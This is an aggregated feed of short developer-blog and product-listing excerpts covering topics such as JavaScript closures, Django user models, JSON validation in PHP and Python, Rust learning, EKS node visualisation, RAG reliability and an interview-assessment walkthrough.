The search landscape has transformed dramatically. Traditional blue-link rankings now compete with AI-generated answers, Google's AI Overviews, and conversational search platforms like ChatGPT and Perplexity. Today's successful SEO strategy requires tools that understand this new reality—platforms that combine traditional optimization with answer engine optimization (AEO) and AI-powered automation. After extensive research into the latest AI SEO solutions, I've compiled this definitive guide to the most powerful tools reshaping search visibility in 2026. These platforms don't just track rankings; they help you dominate AI-powered search results while streamlining your entire optimization workflow. Semrush has evolved beyond traditional SEO into a full-spectrum AI marketing suite. Their fla…  ( 11 min )

Evaluación ética y responsable de plataformas de Prevención de Lavado de Dinero (PLD) basadas en Inteligencia Artificial (IA) y Aprendizaje Automático (ML) En el marco de la Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita-LFPIORPI, último enmendada en 2025, los sujetos obligados están sujetos a un estricto cumplimiento normativo en materia de prevención de lavado de dinero. Para garantizar la eficacia y eficiencia en la implementación de sistemas de PLD, es fundamental evaluar las plataformas SaaS disponibles que apliquen tecnologías de IA y ML. Importancia de la trazabilidad La trazabilidad es un elemento crucial en la implementación de sistemas de PLD. Las plataformas que permiten rastrear y seguir los flujos de información en tiempo real, pe…  ( 7 min )

A major shift in server-side architectures Finally, the promised day has come and it is time to introduce one of the most important key features in version 2 of the WebForms Core technology; the new Service Worker feature and the ability to manage it from the server is a revolutionary feature that will be offered in this technology. WebForms Core 2 is a turning point in the evolution of server-side architectures; not a simple update, but a transformative platform that removes traditional limitations and opens a new path for developing web applications. This version, with a modern approach, combines server and client capabilities at an unprecedented level. The combination of features such as PWA, Service Worker, Push Notification, and an innovative communication architecture elevates the…  ( 10 min )

What is a closure? In Javascript, a closure is created anytime a function is created. When a function is created, it captures the references (memory address) to the variables available in its surrounding environment (its lexical scope). If this outer function returns an inner function, and the inner function uses some of those captured variables, those variables are kept alive (they don't get cleared from memory) and are bundled with the returned inner function. This means the returned inner function can later be executed and still access and modify those preserved variables, even though the original outer function call is long finished. Closure captures the memory address of a variable, not its value. // 1. Outer function that defines a variable and returns an inner function function cr…  ( 10 min )

Hey there! 👋🏻 If you've been keeping up with the latest updates in .NET, you might have noticed something interesting in Visual Studio 2022 version 17.13 and .NET 9: a brand new solution file format with the .slnx extension! Let's take a quick look at what this is all about. The .slnx format is Microsoft's fresh take on the solution file. Unlike the traditional .sln files we've been using for ages, this new format uses XML instead of the proprietary format that's been around since forever. The old .sln format has served us well, but let's be honest, it's not exactly the most human-readable thing out there. The .slnx format aims to fix that! Here's the cool part, the .slnx format is much cleaner and easier to read. If you've ever tried to manually edit a .sln file, you know it can be a…  ( 7 min )

We all want the tools we use to align with how we think. But when faced with a choice between a structured platform and a flexible system, which one do you actually need? Notion and Obsidian sit at the center of this conversation. Both help you capture ideas, organize projects, and connect knowledge. Yet their core philosophies are almost opposites. This article compares these two platforms in terms of workflow, collaboration, and data ownership. We won't be picking a winner. Instead, we'll help you see which one better suits your priorities. Let's dive in. First, let's understand where each one stands. Notion is an all-in-one, cloud-based productivity workspace. It combines notes, databases, and project tools in one seamless interface. Its focus is on structure, design, and team collabora…  ( 8 min )

A few months ago, I was thrown into a project where six disconnected spreadsheets kept breaking every manual report. Every day felt like firefighting. That frustration pushed me to build a clean, automated workflow — one reliable enough that anyone could trust. I once spent a full week debugging a workflow that kept collapsing because three spreadsheets disagreed on what “miles” meant. That chaos taught me a simple truth: great automations aren’t fast — they’re disciplined. And that’s what this guide gives you. ⚡ Below is a practical guide for building strong n8n data-analysis workflows, avoiding the common traps, and using concrete merging and validation patterns you can implement immediately. Before writing a single line of automation logic, please follow one rule: If the data is uncle…  ( 8 min )

Overview About Ruckus ICX6450-48 - 48 პორტიანი მართვადი სვიჩი [vc_row][vc_column][vc_column_text css="" woodmart_inline="no" text_larger="no"]Ruckus ICX6450-48 48 პორტიანი მართვადი სვიჩი Ruckus ICX6450-48 არის მაღალი ხარისხის სვიჩი, რომელიც განკუთვნილია ქსელის ინოვაციური საჭიროებებისთვის. მისი 48 პორტიანი დიზაინი და SFP+ მხ Learn more: Ruckus ICX6450-48 - 48 პორტიანი მართვადი სვიჩი Originally published at innocom.ge  ( 7 min )

Overview About Ubiquiti UniFi U6-LR Wi-Fi 6 დაშვების წერტილი მაღალი გამტარობით და გაფართოებული დაფარვით UniFi U6-LR Wireless Access Point • სიხშირეები და სიჩქარე: Learn more: Ubiquiti UniFi U6-LR Wi-Fi 6 დაშვების წერტილი მაღალი გამტარობით და გაფართოებული დაფარვით Originally published at innocom.ge  ( 7 min )

Best Chrome Extensions for Productivity in 2025: Save Time and Stay Focused As someone who constantly explores new tools and technologies to improve convenience and productivity, I've discovered that Chrome extensions are among the most powerful yet underutilized productivity enhancers. These digital assistants run silently in your browser, automating tasks, blocking distractions, and transforming how you work online. In 2025, with remote and hybrid work becoming the norm, the right set of Chrome extensions can mean the difference between drowning in digital chaos and maintaining focused, efficient workflows. Let's explore the best productivity-boosting extensions that will save you hours every week. Chrome extensions act as lightweight software that enhances your browser's capabilities …  ( 13 min )

Zero Balance Bank Accounts in India 2025: Complete Guide to Free Banking In an era where financial inclusion is paramount, zero balance savings accounts have emerged as a game-changer for millions of Indians. These accounts, officially known as Basic Savings Bank Deposit Accounts (BSBDA), eliminate the burden of maintaining minimum balance requirements, making banking accessible to everyone—from students and first-time depositors to individuals with irregular incomes. As someone who constantly seeks ways to save money and optimize financial management, understanding the nuances of zero balance accounts can unlock significant value without the stress of penalty charges. Zero balance savings accounts are regular savings accounts with one crucial difference: there's no requirement to mainta…  ( 10 min )

Breaking the Glass Wall: How Meta-Learning Can Unlock the Full Potential of Neural Networks. As we continue to push the boundaries of what's possible with neural networks, one significant challenge remains: the need for extensive domain-specific training data. In many applications, collecting and labeling large datasets is prohibitively expensive, time-consuming, or even impossible. That's where meta-learning comes in – a rapidly advancing subfield of machine learning that allows neural networks to learn how to learn from limited amounts of data. In essence, meta-learning enables neural networks to acquire knowledge that can be applied to a wide range of tasks, making them more versatile and adaptable. Take the example of a neural network designed to classify images. Traditional approaches require a massive dataset of labeled images to achieve acceptable accuracy. However, with meta-learning, the network can learn to recognize patterns and relationships within a small, diverse subset of images, and then generalize its knowledge to other, unseen images. The takeaway: by incorporating meta-learning into neural network design, we can significantly reduce the need for extensive domain-specific training data, making it more feasible to deploy AI solutions in real-world applications where data is scarce or expensive to obtain. Publicado automáticamente  ( 6 min )

👋 Hey there, tech enthusiasts! I'm Sarvar, a Cloud Architect with a passion for transforming complex technological challenges into elegant solutions. With extensive experience spanning Cloud Operations (AWS & Azure), Data Operations, Analytics, DevOps, and Generative AI, I've had the privilege of architecting solutions for global enterprises that drive real business impact. Through this article series, I'm excited to share practical insights, best practices, and hands-on experiences from my journey in the tech world. Whether you're a seasoned professional or just starting out, I aim to break down complex concepts into digestible pieces that you can apply in your projects. Let's dive in and explore the fascinating world of cloud technology together! 🚀 Imagine Sarah, a DevOps engineer at …  ( 12 min )

When working with Django, the User model is central to authentication and user data management. But there’s more than one way to reference it, and choosing the wrong method can lead to subtle bugs, especially if you ever switch to a custom user model. In this post, I’ll break down all the ways to reference the User model, explain their differences, and when to use each. from django.contrib.auth.models import User user = User.objects.get(pk=1) This approach is straightforward and works fine if you’re only ever using Django’s built-in User. However, it will break if you later swap in a custom user model. For this reason, it’s generally not recommended in reusable or production code. Django provides a utility function to retrieve the currently active user model: from django.contrib.auth imp…  ( 7 min )

Overview Discover the Power of Mikrotik CSS106-1G-4P-1S - A Managed PoE Switch with 5 Ports In today's fast-paced digital environment, having a reliable and efficient network infrastructure is crucial for both small and large businesses. The Mikrotik CSS106-1G-4P-1S managed PoE switch is designed to meet the demands of modern networking with its robust features and versatile capabilities. This switch offers a compelling solution for those looking to enhance network performance while maintaining a cost-effective approach. The Mikrotik CSS106-1G-4P-1S comes packed with features that make it a standout choice for network management: Port Configuration: It provides 5 Gigabit Ethernet ports and an SFP cage, which is ideal for network expansion and flexibility. The inclusion of Giga…  ( 9 min )

Hey friends! 👋 Let’s talk about something every beginner struggles with: Why you should stop writing long functions and how to break them into smaller ones Long functions feel "easy" when you're starting out. But over time, those bulky functions turn into: untraceable bugs code that’s hard to read features that are difficult to update unnecessary stress Smaller functions make your code cleaner and easier to reason about. This is what I mean. 1️⃣ Long functions hide mistakes Take this example: const processUser = (data) => { // Validate if (!data.email.includes("@")) throw new Error("Invalid email"); // Format const name = data.name.trim().toUpperCase(); // Save localStorage.setItem("user", JSON.stringify({ name, email: data.email })); // Notify alert("User saved!"); }…  ( 8 min )

Overview Enhance Connectivity with Mikrotik LtAP Mini LTE Kit In today's fast-paced world, staying connected is more crucial than ever, whether you're managing a business or enjoying leisure activities. The Mikrotik LtAP mini LTE kit is designed to meet these demands by offering a robust and reliable solution for outdoor connectivity. Its advanced features make it an indispensable asset for anyone needing consistent internet access on the go. The Mikrotik LtAP mini LTE kit (RB912R-2nD-LTm&R11e-LTE) is a versatile outdoor Wi-Fi/LTE gateway that combines multiple connectivity options into a single, compact device. Designed for those who require a dependable connection outside of traditional indoor environments, this device integrates a 2.4GHz wireless network with an LTE modem, …  ( 9 min )

Overview Mikrotik RB912R-2nD-LTm: A Robust Outdoor LTE Router with GPS In today's digital age, the need for reliable internet connectivity is paramount, whether you're in an urban environment or exploring remote locations. The Mikrotik RB912R-2nD-LTm stands out as a versatile solution, offering robust LTE capabilities paired with GPS functionality. This outdoor Wi-Fi router is designed to deliver seamless internet access, making it an ideal choice for both personal and professional use. The Mikrotik RB912R-2nD-LTm is more than just a router; it's a comprehensive network solution that caters to a wide range of connectivity needs. Here are some of its standout features: LTE Connectivity: With its built-in LTE modem, this router provides a reliable internet connection even in are…  ( 8 min )

A post by Krisha Arya  ( 6 min )

El contenido en video se ha convertido en una herramienta esencial para captar la atención de las audiencias y fortalecer la presencia de marca. Sin embargo, la edición de videos largos puede ser un proceso laborioso y consumir mucho tiempo. LiveLink AI presenta AI Clip Maker, una solución impulsada por inteligencia artificial que automatiza la selección de momentos destacados y la creación de clips, optimizando la producción de video de manera eficiente. AI Clip Maker analiza cada segmento del video, detectando automáticamente las partes más relevantes y eliminando el contenido redundante. Esto permite a los creadores enfocarse en la narrativa y la estrategia de contenido, mientras la herramienta se encarga de la edición técnica. Características Clave de AI Clip Maker: Detección Inteligen…  ( 7 min )

What is Serverless? Serverless does NOT mean “there are no servers. You only write code, and AWS handles: servers scaling uptime patches networking infrastructure You pay only when your code runs. Let's understand with example... Imagine you want to run a function. Why Serverless Exists? Before serverless: you must choose server size you must keep it running you must pay 24/7 you must scale manually you must monitor and reboot With serverless: no servers to manage no scaling worries no idle costs automatically handles millions of users ideal for APIs, cron jobs, triggers What is AWS Lambda? AWS Lambda is THE most famous serverless service. Lambda = run your code without servers. You upload your code → AWS executes it when needed → you pay only for milliseconds used. How Lambda works?…  ( 8 min )

‘Weird Science’ gets the Rewatchables treatment as Bill Simmons and Kyle Brandt break down John Hughes’s 1985 teen classic—starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Expect a wild ride with sex, drugs, rock ’n’ roll and even chains and whips as they dig into the film’s funniest moments and behind-the-scenes secrets. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this episode mixes pop-culture nostalgia with plenty of banter (and a cheeky State Farm plug). Tune into The Ringer’s channels for more movie deep dives and must-hear takes. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less With Wicked back in theaters, CinemaSins hits the yellow brick road to nitpick The Wiz—spotlighting every musical stumble, costume quirk, and plot wobble in their trademark snarky style. Is it more fun (and flawed) than you remember? Thirsty for more sins? Scour cinemasins.com for behind-the-scenes goodies, fill out their quick poll, or back the team on Patreon. Then dive into the conversation on Discord, Reddit, Instagram, TikTok—and follow the writers on Twitter for extra sinful takes. Watch on YouTube  ( 6 min )

Disney’s golden age of blockbusters has hit a rough patch—Marvel and Star Wars sequels faltered, and new releases like Wish and Elio barely made a ripple. But Disney’s had off-seasons before, so the crew is launching a series that dives into four colossal live-action flops. First up is 2010’s The Sorcerer’s Apprentice: Nicolas Cage, questionable magic tricks, and a giant bird. The hosts admit the details are fuzzy, but their video will unpack every cringe-worthy moment. For bonus podcasts, early vids, and more rabbit holes, swing by bigsandwich.co. Watch on YouTube  ( 6 min )

I LOVE a good technical challenge. There is something satisfying about solving a complex problem, optimizing a data structure, or shaving off a few milliseconds of latency. But this past summer, I found myself back in the job market, and let me tell you… Things have changed. The industry has split into two distinct realities. On the one hand, I interviewed with established enterprise giants whose processes were like bread and butter to me. I was solving algorithmic puzzles and showcasing my understanding of the DOM and general web development skills. On the other hand, I interviewed with startups where the interviewer essentially handed me the keys to GitHub Copilot and said, "Build this feature. You have 45 minutes. Go." It made me feel a bit like an "old man yelling at the sky," but it a…  ( 9 min )

Playwright has a convenient feature for waiting on responses from requests - waitForResponse. waitForResponse — playwright.dev This is helpful when there are no visual changes on the web UI, but you need to verify that a request was actually sent and an entity was successfully created. Instead of: Opening the page with that entity and writing checks to verify all data is correct Or directly "poking" a specific endpoint to check its fields You can implement response waiting. Here's an example from the documentation: Start waiting, perform the action, then await the response: const responsePromise = page.waitForResponse('https://example.com/resource'); await page.getByText('trigger response').click(); const response = await responsePromise; Declare the predicate with expectations, perform t…  ( 7 min )

Design System Comparison Matrix Category shadcn/ui Ant Design Material-UI (MUI) Philosophy / Core Approach “Build your own library” — you copy source code for full control and customization. “Comprehensive enterprise system” — provides everything you need out of the box. “Google’s Material Design for React” — focuses on visual consistency and ease of use. Tech Stack React + Tailwind CSS + Radix UI primitives. React + Less (styling preprocessor). React + Emotion (CSS-in-JS) + TypeScript support. Design Language Neutral and minimal; intended as a base to build your own. Enterprise-grade, clean, and data-heavy dashboard friendly. Google’s Material Design — vibrant, motion-driven, and user-friendly. Component Depth ~40+ base components; great accessibility but fewer high-level fea…  ( 7 min )

Building with the Microsoft Agent Framework + AG-UI Microsoft’s Agent Framework (MAF) is an open-source agent framework that has recently emerged, offering exceptional ways to build agents and multi-step workflows in .NET or Python. Paired with AG-UI, the frontend/runtime layer that enables those agents to appear in your app with a clean UI, streaming responses, and shared state, etc., delivers a seamless agentic experience. The integration between the two is simple but powerful: MAF handles the reasoning and tool-use, and AG-UI bridges the interactions between the agent and the users. Microsoft Agent Framework (MAF) and AG-UI together offer a clean separation: MAF handles the agent’s intelligence, workflows, memory, and tool use. AG-UI is the open protocol that standardizes how agents com…  ( 8 min )

When you open a crypto wallet—whether it's MetaMask, Phantom, or even your own custom CLI—it looks deceptively simple: one seed phrase, one wallet, and magically an endless list of accounts, networks, and addresses across multiple blockchains. But behind this effortless experience lies a beautifully engineered set of standards—most notably BIP-32, BIP-39, and BIP-44—that work together to deterministically generate keys and keep the entire wallet ecosystem interoperable, recoverable, and consistent. This post walks through that journey step by step, explaining how BIP-32, BIP-39, and BIP-44 form the backbone of every modern wallet, whether it's Bitcoin, Ethereum, Solana, or any other chain that uses hierarchical deterministic (HD) wallets. If you're building your first wallet or want to und…  ( 9 min )

We are thrilled to announce the release of OmniDictate v2.0.0, a major update that completely transforms the user experience while keeping the core promise of fast, private, and accurate dictation. OmniDictate is a free, open-source tool that brings real-time AI speech-to-text to your Windows PC. It runs entirely locally using the faster-whisper engine (based on OpenAI's Whisper), ensuring your data never leaves your machine. This release focuses on usability, aesthetics, and performance. Version 2 introduces a stunning, modern graphical interface. Dark Slate Theme: Easy on the eyes and professional. Frosted Glass Accents: A touch of modern elegance. Intuitive Layout: Designed for clarity and focus, putting all controls right where you need them. large-v3-turbo Support We've upgrad…  ( 7 min )

Retrieval-Augmented Generation (RAG) is transforming how we use AI by allowing models to think with real, live information instead of relying only on what they were trained on. What is RAG ? Retrieval-Augmented Generation (RAG) is an AI architecture that enhances large language models by retrieving up-to-date, domain-specific information from external knowledge sources and combining it with the model’s generation capabilities to produce accurate, factual, and context-aware responses. RAG was introduced to solve the limitations of traditional Large Language Models.Even though LLMs are powerful, they have major problems: LLMs hallucinate-LLMs generate answers based on patterns they learned during training, not on real-time facts. So they sometimes produce confident but incorrect…  ( 9 min )

Modern application security is undergoing a major shift as organizations increasingly rely on AI-driven code development and fast-moving DevOps practices. Traditional AppSec tools, designed for slower and less complex environments, are no longer able to handle the scale and speed of modern software pipelines. This is where AI agents in cybersecurity are driving a significant transformation. With 57% of organizations already using AI for anomaly detection and another 27% planning to adopt AI in their cybersecurity strategy, the momentum behind autonomous security is rapidly growing. AI agents stand out because they don’t just raise alerts—they understand context, make decisions, and take action, ultimately streamlining AppSec operations and enhancing accuracy. AI agents function as autonomo…  ( 7 min )

The Cancel Reconciliation Application programming interface, in ForgeRock IDM provides a powerful tool for managing the synchronization flow between different identity systems. By using this Application programming interface,, you can dynamically cancel reconciliation operations and fine-tune the synchronization process to meet the unique needs of your organization. In this article, we'll explore the benefits and best practices for using the Cancel Reconciliation Application programming interface, in ForgeRock IDM, and provide a step-by-step guide on how to implement it. Read more: Seamlessly Manage Synchronization Flow with Cancel Reconciliation API in ForgeRock IDM  ( 6 min )

Welcome Back to Day 6! Hey everyone! It's Day 6 of my 30 Days of Python Challenge, and today we're making our programs smart! 🧠 If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] Today, we're learning how to make decisions in our code using if statements. Let's give Python the power to think! Today's mission: If Statements. Until now, our code has been running line by line, doing the same thing every time. But what if we want different outcomes based on different conditions? That's where if statements come in! If statements are like giving your program a brain. They let you: Check conditions and respond accordingly Create different paths through your code Make programs that …  ( 8 min )

Introduction Ever wish a resume said "hi" the same way you do? 🚀 This one does. Pop open iTerm (or whatever shell keeps you grounded), paste ssh ssh.akshaygupta.live, and a neon figlet banner blooms like it's 1994. In a blink you're welcomed with the TL;DR, a friendly prompt, and zero browser chrome in sight. It feels like stepping into a dotfiles stash, only this one tells my career story. Under the hood it's just thoughtful TypeScript, and a little flair. Here's the tour 🧭 terminal/server.ts spins up an ssh2.Server, accepts every session and hands it off to a fresh ResumeShell so nobody fights for history or width. The shell clears the screen, renders the marquee welcome (renderWelcome mixes figlet, gradient-string and boxen), and reacts to window-change events so everything stays r…  ( 7 min )

In today’s fast-paced digital landscape, businesses are continuously searching for ways to stay ahead of the curve. Mobile apps have become an essential tool for companies to engage customers, streamline operations, and build brand loyalty. With cross-platform development gaining momentum, React Native has emerged as a preferred technology for many businesses. But building a high-quality, scalable, and user-friendly app requires expertise, which is why hiring top react native app developers is considered a smart investment for 2025. The Growing Demand for React Native in 2025 React Native, developed by Facebook, allows developers to create apps that work seamlessly across both iOS and Android platforms. In 2025, the need for apps that can perform consistently on multiple platforms has incr…  ( 9 min )

After 15 years of Python/Ruby/JS, learning Rust feels like being told you've been holding your fork wrong your entire life. Turns out, people who've never held a fork learn the "correct" way faster. You: "I'll just pass this variable to two functions—" Rust Compiler: "Who owns it though?" You: "I don't care, just..." Rust: "Cannot borrow as mutable while also borrowed as immutable." You: "I've been doing this for 10 YEARS!!?!" Rust: "Yes, and you've been doing it wrong." Beginner: "So this is how variables work in programming?" Rust: "Yes." Beginner: "Cool." writes correct code You: screaming into the void They are learning faster because they have nothing to unlearn. You are fighting muscle memory. But here's the secret: you will still beat them in the long run. They might not fight the borrow checker, but they are still Googling "what is a hashmap" while you are architecting concurrent systems. You just have to accept that for 2-3 months, a bootcamp graduate with zero prior experience might write cleaner Rust than you. Humbling? Yes. Worth it? Also yes. Sometimes expertise is technical debt. The borrow checker doesn't care about your 10 years of experience, it cares about memory safety. Welcome to being a junior again. Enjoy the ride. 🦀 From someone currently yelling at cannot move out of borrowed content for the 47th time today.  ( 6 min )

When developers talk about a backend framework, they usually mean Node.js, Django, or Spring Boot—the software architecture that handles business logic, databases, and APIs. But when you ask an AI model like me what framework it uses, the answer pivots entirely. It's not about which programming language is running the server; it's about the specialized hardware and deployment platform that powers the vast neural network itself. Understanding this difference is crucial, because for large language models (LLMs), performance is no longer limited by a server's thread count, but by the efficiency of the silicon and serving stack. I, an instance of the Gemini model, don't use a standard web framework. My operation is managed by a customized, distributed system optimized for extreme performance. …  ( 8 min )

Mastering CRUD with Spring Boot and MongoDB: A Step-by-Step Guide Altair Lage ・ Sep 11 #springboot #mongodb #tutorial #java  ( 6 min )

Welcome Back! Hey everyone! It's Day 2 of my 30 Days of Python Challenge, and I'm so excited you're back! Yesterday we learned about the print() function, and today we're leveling up by learning how to store and reuse information with variables. If you missed Day 1, check it out [here] to catch up on print statements! Today's mission: Understanding Variables. Think of variables as labeled boxes where you can store different types of information. Instead of typing the same information over and over, we store it once and use it everywhere! Variables are like name tags for your data. They let you: Store information to use later Make your code more flexible and reusable Give meaningful names to your data In Python, creating a variable is super simple: just pick a name, use the equals sign (=…  ( 8 min )

Bill Simmons and Kyle Brandt take you on a nostalgia-fueled ride through John Hughes’s 1985 teen sci-fi romp Weird Science, dissecting everything from Anthony Michael Hall’s awkward genius to Kelly LeBrock’s otherworldly glam. Expect plenty of behind-the-scenes gossip, ’80s pop-culture callbacks, and a healthy dose of irreverent humor. They wrap up with a look at the film’s wild mix of sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—proving why it’s a must-rewatch for anyone who loves big laughs and bigger ’80s vibes. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back with a fresh video spotlighting every nitpick in the 1978 musical The Wiz, timed perfectly as Wicked returns to theaters. Expect the trademark snark and rapid-fire quips as they explore whether The Wiz holds up better than you remember. Alongside the video, they’re pushing their social universe—polls, Patreon support, Discord, Reddit, and all the usual CinemaSins channels on YouTube and social media—so you can join in the fun (and the sin-counting). Watch on YouTube  ( 6 min )

Welcome to My Python Journey! Hey there, fellow coding enthusiasts! Today marks the beginning of my exciting 30 Days of Python Challenge, and I'm thrilled to have you join me on this adventure. Whether you're a complete beginner or someone looking to refresh their Python skills, this series is for you! I'll be sharing my daily progress, lessons learned, and code snippets as I work through Python fundamentals. My goal? To make Python accessible, fun, and easy to understand for everyone. print() Today's focus is simple yet powerful: the print statement. Every programming journey starts with a simple "Hello, World!" and today, I'm taking that first step. The print() function is your best friend when starting with Python. It's how your program talks to you! Think of it as Python's way of s…  ( 7 min )

JSON validation is essential when working with APIs, configuration files, or any data exchange in PHP. Invalid JSON can cause errors, security issues, and application crashes. PHP provides built-in functions to validate JSON strings efficiently. Prevent Errors: Catch malformed JSON before it causes runtime errors Security: Protect against malicious or malformed data inputs Data Integrity: Ensure data conforms to expected structure Better Debugging: Identify issues early in the data processing pipeline API Reliability: Validate external API responses before processing PHP 8.3 introduced the json_validate() function specifically designed for fast and efficient JSON validation. Unlike json_decode(), it does not parse the JSON or create PHP arrays/objects. Instead, it performs a lightweight structural check, making it ideal for high-performance validation. Example if (json_validate($jsonString)) { Why Use json_validate()? More Efficient: Uses significantly less memory than json_decode() Faster: Skips object/array construction Purpose-built: Specifically designed for validation use cases Ideal for Large Payloads: Works better when handling large API responses or config files Before PHP 8.3, the common way to validate JSON was using json_decode() and verifying errors with json_last_error(). Example json_decode($jsonString); if (json_last_error() === JSON_ERROR_NONE) { You can enable exceptions when decoding JSON by using the JSON_THROW_ON_ERROR flag. This helps with cleaner error handling in larger applications. Example Use json_validate() in PHP 8.3+ when you only need to validate (best performance). Use json_decode() when you need both validation and parsed data. Use exceptions for large projects to simplify debugging. Sanitize Input: Always validate user-provided or external API data. Log Errors: Helps track malformed data issues in production. Or , you can try out online jsonformatters like jsonformatter  ( 7 min )

The Indian corporate landscape is changing faster than ever, driven by technology adoption, evolving job roles, hybrid work cultures, and rapid digital transformation. Salaries today are not only influenced by experience or qualifications, but also by skill relevance, industry growth rate, and market competitiveness. As we move into 2026, understanding salary trends in Corporate India is no longer optional—it is essential for career planning, negotiation, and long-term stability. In this detailed guide, we explore the key salary trends reshaping Corporate India, what employees must track, and which tools can help you stay ahead of the market. Traditionally, Indian companies aligned salaries with years of experience. However, 2026 marks a dramatic shift towards skill-based compensation. Com…  ( 7 min )

I still remember the day when a single JSON endpoint quietly became the top CPU consumer in our Go service. Nothing visually “looked” wrong: no errors, no spikes, no Go routines leaking. 30–40% of the CPU time was being spent on marshaling JSON. That was the moment I realized how often we underestimate serialization cost in Go. And how much performance we leave on the table simply because “JSON is easy”. In this article, I’ll walk you through my real production benchmarks comparing JSON, MessagePack, and Protobuf — not synthetic microbenchmarks, but results based on actual payloads from a high-throughput system. 1. Why Serialization Matters More Than You Think Serialization sits on the hot path of almost every service: sending data over HTTP caching objects storing documents publishing t…  ( 9 min )

Zain Italic, designed by Boutros Fonts, falls under the Sans Serif category & Zain font family. Its smooth, flowing letterforms make it a versatile choice for projects that require both elegance and readability. Zain is particularly well-suited for Body Text, Headlines and Subheadings, Branding and Corporate Identity and Digital and Web Design. With its balance of simplicity and decorative appeal, this font brings a polished touch to both personal and professional designs. https://www.atozfont.com/font/zain-italic ZainitalicFont #Fonts #AtoZFont #AtoZFonts #A2ZFont #A2ZFonts #ttf #otf #Fontdownload #Downloads  ( 6 min )

Introduction github.com/awslabs/eks-node-viewer is an open-source tool that allows you to visualize the status of nodes in your EKS cluster directly from the command line. This tool is developed in Go and can be installed with the following command: go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest You can use it simply by running: eks-node-viewer The --node-selector flag allows you to filter which nodes are displayed. For example, to show only nodes launched by Karpenter, run: eks-node-viewer --node-selector "karpenter.sh/provisioner-name" Nodes launched by Karpenter have labels like the following, so the above command specifies the label key name: labels: # Label with the Provisioner name as the value karpenter.sh/provisioner-name: default First, I …  ( 7 min )

Stitched dresses online have quickly become a cornerstone of contemporary fashion, offering women a seamless blend of style, comfort, and practicality. As online shopping evolves, ready-made dresses provide a refreshing alternative to traditional tailoring, allowing women to enjoy polished, well-fitted outfits without the waiting period. The ease of browsing collections, selecting sizes, and receiving dresses ready to wear has transformed stitched apparel into a favorite among fashion-conscious shoppers who value both beauty and efficiency. One of the greatest advantages of choosing stitched dresses online is the effortless experience they offer. Instead of navigating the time-consuming process of selecting fabric and scheduling fittings, women can instantly access curated collections with…  ( 8 min )

Working with JSON data is common in modern development, but minified JSON can be hard to read and debug. Python provides simple built-in tools to format JSON data in a readable way with proper indentation and structure. Pretty printing converts compact, minified JSON into a formatted structure with proper indentation, line breaks, and whitespace. This makes it much easier to understand the data structure, debug issues, and share with team members. Easy Debugging: Quickly identify structural issues and understand data relationships Better Readability: Makes JSON data human-readable for code reviews and documentation API Testing: Analyze API responses more efficiently Configuration Files: Maintain readable config files that are easier to edit The easiest way to pretty print JSON in Python is using json.dumps() with the indent parameter. Example: Pretty Print a JSON String Minified JSON string Parse JSON string to Python object Pretty print with indentation Output: Read from File and Print Read JSON from file Pretty print to console Write Pretty JSON to a File data = { Write formatted JSON to file indent sort_keys ensure_ascii Pretty printing JSON in Python is straightforward with the built-in json module. Use json.dumps() with the indent parameter for formatted output, add sort_keys=True for consistency, and always handle exceptions when reading files. These simple techniques will make working with JSON data much easier in your development workflow. Use indent=4 for readable formatting Add sort_keys=True for consistent output Handle exceptions when reading JSON files Use json.tool for quick command-line formatting Create custom encoders for special data types like datetime Or, you try using jsonformatter gg🚀  ( 7 min )

I have been wiring TOON support with toon-token-diff into this MCP server to understand whether converting JSON payloads to TOON meaningfully reduces prompt costs. The short answer: TOON is elegant, but in my test harness it delivered microscopic savings for real-world workloads. Project mode: toon-token-diff in libraryMode via npm install toon-token-diff Models monitored: openai (tiktoken GPT-5 profile) and claude Integration strategy: lightweight instrumentation that appends token stats into a JSONL ledger for later analysis import { estimateAndLog } from "toon-token-diff/libraryMode"; // inside my MCP tool handler estimateAndLog(JSON.stringify(result), { models: ["openai", "claude"], file: "./token-logs.jsonl", format: "json", label: "mcp_tool_call", }); This snippet r…  ( 7 min )

RAG and Agent frameworks promise a lot: But if you’ve actually tried deploying them into finance, legal, compliance, operations, or automation, you’ve probably noticed the same thing I did: They’re structurally unstable. This is not a hallucination issue. Let’s break it down. 🧩 1. Retrieval is inherently non-deterministic ANN (HNSW/IVF/ScaNN) is approximate. index rebuilds change the top-k embedding drift changes neighbors adding documents shifts similarity space internal randomness changes ranking If the retrieval set changes, 🧩 2. Context construction is unstable LLMs don’t treat all chunks equally. They’re sensitive to: order of chunks length differences truncation behavior position in the prompt subtle formatting shifts Same chunks ≠ same output. 🧩 3. LLM planners amplify randomness…  ( 7 min )

Most “Automation” Isn’t Really Automation A practical look from a developer’s perspective Developers see it every day. A spreadsheet macro. A Python script on someone’s laptop. A cron job gluing two APIs. An AI tool used for a quick repetitive task. Every team has these microautomations lying around. Useful, yes. Scalable, no. If you want the long-form writeup that inspired this, it’s here: https://liteed.com/blog/automation-approach. Microautomation shows up as: scripts exports macros tiny AI helpers scheduled tasks They reduce friction but fail the moment you need: documentation monitoring handoff between people consistent behavior scaling across teams This helps the individual, not the organization. AI looks powerful, but in practice behaves like upgraded macros: great…  ( 7 min )

The TDD + AI Revolution: How Systematic Refactoring Beats the "Move Fast and Break Things" Mentality v.j.k. ・ Jun 23 #ai #tdd #cursor #development  ( 6 min )

Just wrapped up the 11.18 Akuna OA, and the feedback was surprisingly consistent: “The questions look easy… but one messy implementation and you’re done.” Akuna doesn’t reward clever tricks — it rewards clean logic + zero-bug code under pressure. Below is a beginner-friendly, stable-pass breakdown of all three problems. If you’re prepping for Quant / Trading / Strategy, feel free to copy and practice directly. Task: Given a string s and an integer k, return the shortest substring containing at least k occurrences of 'I'. If multiple substrings have the same length, pick the lexicographically smallest one. This problem looks like it needs sliding window, but honestly the safest OA solution is much simpler: Loop i through every starting index. From i, expand j forward until the substri…  ( 7 min )

